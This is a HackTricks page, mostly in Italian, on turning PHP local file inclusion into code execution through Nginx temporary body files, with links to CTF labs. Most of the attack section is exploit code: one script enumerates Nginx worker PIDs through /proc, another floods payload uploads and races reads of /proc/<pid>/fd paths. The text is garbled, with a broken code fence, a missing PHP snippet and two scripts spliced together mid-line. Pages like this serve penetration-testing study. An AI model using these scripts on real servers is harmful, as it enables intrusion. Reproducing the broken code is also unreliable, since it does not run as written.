Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

LFI2RCE via Nginx temp files

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Configurazione vulnerabile

Esempio da https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • Codice PHP:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Nota: Non è possibile includere direttamente `/proc/34/fd/15` in questo esempio poiché la funzione `include` di PHP risolverebbe il percorso in `/var/lib/nginx/body/0000001368 (deleted)` che non esiste nel filesystem. Questa restrizione minore può fortunatamente essere aggirata con un po' di indirezione come: `/proc/self/fd/34/../../../34/fd/15` che alla fine eseguirà il contenuto del file cancellato `/var/lib/nginx/body/0000001368`. ## Exploit Completo ```python #!/usr/bin/env python3 import sys, threading, requests # sfrutta l'inclusione di file locale PHP (LFI) tramite l'assistenza al buffering del corpo del client di nginx # vedi https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ per i dettagli URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # trova i processi worker di nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] worker di nginx trovato: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # carica un grande corpo del client per forzare nginx a creare un /var/lib/nginx/body/$X def uploader(): print('[+] inizio uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # Utilizzare tutte le CPU per inviare il payload come corpo della richiesta per Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # Questo metodo crea un percorso da una quantità casuale di componenti del percorso ProcFS. Un percorso generato avrà un aspetto del tipo /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Le flag sono formattati come hxp{} if "hxp" in d: print("Flag trovata! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # Scansiona i FD di Nginx tra 10 e 45 in un loop. Poiché i file e i socket continuano a chiudersi, è molto comune che il FD del corpo della richiesta si apra in questo intervallo for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] Creazione sessione di richieste') requests_session = create_requests_session() print('\[DEBUG] Ottenimento degli ID di Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] ID di Nginx: {nginx_pids}') print('\[DEBUG] Avvio dell\'invio del payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Avvio dei lettori di FD') read_file_multiprocess(requests_session, nginx_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
PreviousLFI2RCE via PHP FiltersNextLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Last updated